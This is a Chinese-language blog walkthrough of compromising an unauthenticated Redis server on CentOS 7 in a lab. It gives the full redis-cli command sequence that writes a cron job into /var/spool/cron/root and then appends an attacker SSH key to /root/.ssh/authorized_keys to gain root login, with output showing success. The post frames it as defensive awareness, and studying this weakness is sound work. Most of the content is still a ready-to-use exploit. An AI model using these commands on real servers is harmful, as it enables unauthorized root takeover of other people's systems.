linux php木马提权,Centos7 下 redis 入侵实战 - root提权

fa1ca267443cd21a09c9d1eabaf05cab.gif

.知识铺垫

Redis 还有几个奇怪的功能:Linux 有一个功能可以通过一个端口写到本地文件,如果我要写一个文件,而这个文件是木马,那就自动拉起了。如果写入自己签名的公钥,用自己的私钥解公钥,自己解自己的,所以直接替换公钥,就是通过 Redis。

那么下面来实战演练一下通过redis匿名登陆写入反弹shell

ec3f1b5558607f28867eb1c8414b0c7e.png

.环境准备

首先启动一个允许匿名登陆的redis服务器。

1[root@server01 src]# ./redis-server &

2[1] 11173

3[root@server01 src]# 11173:C 06 Dec 2018 00:22:43.058 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo

411173:C 06 Dec 2018 00:22:43.058 # Redis version=5.0.2, bits=64, commit=00000000, modified=0, pid=11173, just started

511173:C 06 Dec 2018 00:22:43.058 # Warning: no config file specified, using the default config. In order to specify a config file use ./redis-server /path/to/redis.conf

611173:M 06 Dec 2018 00:22:43.058 * Increased maximum number of open files to 10032 (it was originally set to 1024).

7                _._

8           _.-``__ ''-._

9      _.-``    `.  `_.  ''-._           Redis 5.0.2 (00000000/0) 64 bit

10  .-`` .-```.  ```\/    _.,_ ''-._

11 (    '      ,       .-`  | `,    )     Running in standalone mode

12 |`-._`-...-` __...-.``-._|'` _.-'|     Port: 6379

13 |    `-._   `._    /     _.-'    |     PID: 11173

14  `-._    `-._  `-./  _.-'    _.-'

15 |`-._`-._    `-.__.-'    _.-'_.-'|

16 |    `-._`-._        _.-'_.-'    |           http://redis.io

17  `-._    `-._`-.__.-'_.-'    _.-'

18 |`-._`-._    `-.__.-'    _.-'_.-'|

19 |    `-._`-._        _.-'_.-'    |

20  `-._    `-._`-.__.-'_.-'    _.-'

21      `-._    `-.__.-'    _.-'

22          `-._        _.-'

23              `-.__.-'

24

2511173:M 06 Dec 2018 00:22:43.058 # WARNING: The TCP backlog setting of 511 cannot be enforced because /proc/sys/net/core/somaxconn is set to the lower value of 128.

2611173:M 06 Dec 2018 00:22:43.058 # Server initialized

2711173:M 06 Dec 2018 00:22:43.058 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.

2811173:M 06 Dec 2018 00:22:43.058 # WARNING you have Transparent Huge Pages (THP) support enabled in your kernel. This will create latency and memory usage issues with Redis. To fix this issue run the command 'echo never > /sys/kernel/mm/transparent_hugepage/enabled' as root, and add it to your /etc/rc.local in order to retain the setting after a reboot. Redis must be restarted after THP is disabled.

2911173:M 06 Dec 2018 00:22:43.058 * DB loaded from disk: 0.000 seconds

3011173:M 06 Dec 2018 00:22:43.058 * Ready to accept connections

31

32[root@server01 src]#

33[root@server01 src]# ps -ef | grep redis

34root      11173   1217  0 00:22 pts/0    00:00:00 ./redis-server *:6379

35root      11178   1217  0 00:22 pts/0    00:00:00 grep --color=auto redis

36[root@server01 src]#

假设通过端口扫描服务器存在6379的端口号,那么就可以尝试远程来访问一下这台redis服务器。

.远程匿名访问redis服务

1[root@server01 src]# redis-cli -h 192.168.116.128 -p 6379

2192.168.116.128:6379> set 0 "\n\n*/1 * * * * echo yestest > /home/test.txt\n\n"

3(error) DENIED Redis is running in protected mode because protected mode is enabled, no bind address was specified, no authentication password is requested to clients. In this mode connections are only accepted from the loopback interface. If you want to connect from external computers to Redis you may adopt one of the following solutions: 1) Just disable protected mode sending the command 'CONFIG SET protected-mode no' from the loopback interface by connecting to Redis from the same host the server is running, however MAKE SURE Redis is not publicly accessible from internet if you do so. Use CONFIG REWRITE to make this change permanent. 2) Alternatively you can just disable the protected mode by editing the Redis configuration file, and setting the protected mode option to 'no', and then restarting the server. 3) If you started the server manually just for testing, restart it with the '--protected-mode no' option. 4) Setup a bind address or an authentication password. NOTE: You only need to do one of the above things in order for the server to start accepting connections from the outside.

4192.168.116.128:6379>

5a7e0dcd080aa3752265f874805f54cc.png

那么下面再把这个保护模式关闭一下,继续实战测试一下。

.关闭redis服务的保护模式

1[root@server01 redis-stable]# vim redis.conf

2protected-mode no

16c91e2149e8e62c445da050302554a4.png

重启redis服务:

1[root@server01 redis-stable]# cd src/

2[root@server01 src]# ./redis-server ../redis.conf

311213:C 06 Dec 2018 00:35:07.781 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo

411213:C 06 Dec 2018 00:35:07.781 # Redis version=5.0.2, bits=64, commit=00000000, modified=0, pid=11213, just started

511213:C 06 Dec 2018 00:35:07.781 # Configuration loaded

6[root@server01 src]#

027c5e0b97cf7934b2c752d17a8fee2b.png

.再次入侵测试

1[root@server01 src]# redis-cli -h 192.168.116.128 -p 6379

2192.168.116.128:6379> set 0 "\n\n*/1 * * * * echo yestest > /home/test.txt\n\n"

3OK

4192.168.116.128:6379> config set dir /var/spool/cron/

5OK

6192.168.116.128:6379>

7192.168.116.128:6379> config set dbfilename root

8OK

9192.168.116.128:6379> save

10OK

11192.168.116.128:6379>

ae761964f556610b5808f8ce7f06ca42.png

执行完毕之后,我们来看看服务器是不是写入了crontab定时脚本。

.查看是否成功写入定时脚本

1[root@server01 home]# cd /var/spool/cron/

2[root@server01 cron]# ls

3[root@server01 cron]#

4[root@server01 cron]# crontabs

5-bash: crontabs: command not found

6[root@server01 cron]# ls

7root

8[root@server01 cron]# crontab -l

9REDIS0009    redis-ver5.0.2

10redis-bits????e:?used-mem¨

11aof-preamble~

12

13*/1 * * * * echo yestest > /home/test.txt

14

15?L?[root@server01 cron]#

9a0099b399bf21f11a84f563127b39bd.png

查看是否正常执行:

6dfa92837295a55695a8e3e5ca0c94aa.png

好了,这里已经写入了一个定时执行的脚本,完全可以写成一个shell进行执行。

那么下一步,入侵写入一个公钥,然后尝试能够使用公钥访问该台服务器。

.入侵写入公钥,进行root提权

首先创建公钥文件目录

1[root@server01 src]# redis-cli -h 192.168.116.128 -p 6379

2192.168.116.128:6379> set 0 "\n\n*/1 * * * * mkdir -p /root/.ssh \n\n"

3OK

4192.168.116.128:6379> config set dir /var/spool/cron/

5OK

6192.168.116.128:6379> config set dbfilename root

7OK

8192.168.116.128:6379> save

9OK

10192.168.116.128:6379>

4b3e0f7e4c40dfa024146e26f7835dfa.png

c033520f6626272623829fcc4aeb1703.png

写入公钥文件

1192.168.116.128:6379> set 0 "\n\n*/1 * * * * echo 'ssh-rsa AAAAB3NzaC1yc2EAA...省略...3JjU=' >>  /root/.ssh/authorized_keys \n\n"

2OK

3192.168.116.128:6379> config set dir /var/spool/cron/

4OK

5192.168.116.128:6379> config set dbfilename root

6OK

7192.168.116.128:6379> save

8OK

9192.168.116.128:6379>

00b12681eae525b5183d1d42fdafb3b5.png

查看执行情况:

e09214da0881def023605f510c82d584.png

尝试公钥登陆

33b3dba4c6e81bccb3c4014d50ca6c39.png

5ec68e610e0936bbb060927635512d2d.png

已经成功登陆服务器的root权限。

安全系列的演练是为了提醒更好的预防,切忌进行非法入侵。

7bd56e60ea848f6356a7bd90e953ab54.png

b0e2df43e75fb05e1f1951f5b344de4a.gif

如果您觉得不错,请别忘了转发、分享、点赞让更多的人去学习, 您的举手之劳,就是对小编最好的支持,非常感谢!

c9c946c00c2860962b40fc79c08562a9.gif小编有话说

宁愿跑起来被拌倒无数次,也不愿规规矩矩走一辈子。就算跌倒也要豪迈的笑。

目前10000+人已关注加入我们

7c421743c243b62aba3c944ecf276493.gif

95ec19439761cf40c877658723258770.gif

c6d54cf56d80d0b3f0d466dbaa8325a1.gif

91b78297fe95efe9ac39b8e538dcccb7.gif

a3492abbc057bd4ad91932eb116c1fb1.gif

cdf19291d2b88e22b142f9d56f902da5.gif

cf160f78dff7be76ed618cd9bb440b25.gif

e36b2dcc91a708bcbab8735cca63da4c.gif

9f2c72e278ae050c3cb38610b2b8e2c8.gif

dd399bba3db2a0294d507e72504b3060.gif

1e5fbd7035f39c1cc291368e6f22c3cb.gif

2fc6242804ac61e46690997efb68e627.gif

a93ac7ccde3401aaf012602aca79ab1b.gif

5569c9e56c448694cdb3c8a61c9536d8.gif

7546820ded025d76ee2a5b047e2bf7ef.gif

a3492abbc057bd4ad91932eb116c1fb1.gif

关注公众号回复【资料】即可获得python、php、java、前端等视频资源

97b0369f4672cac9e8c8c563a08b756d.gif

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值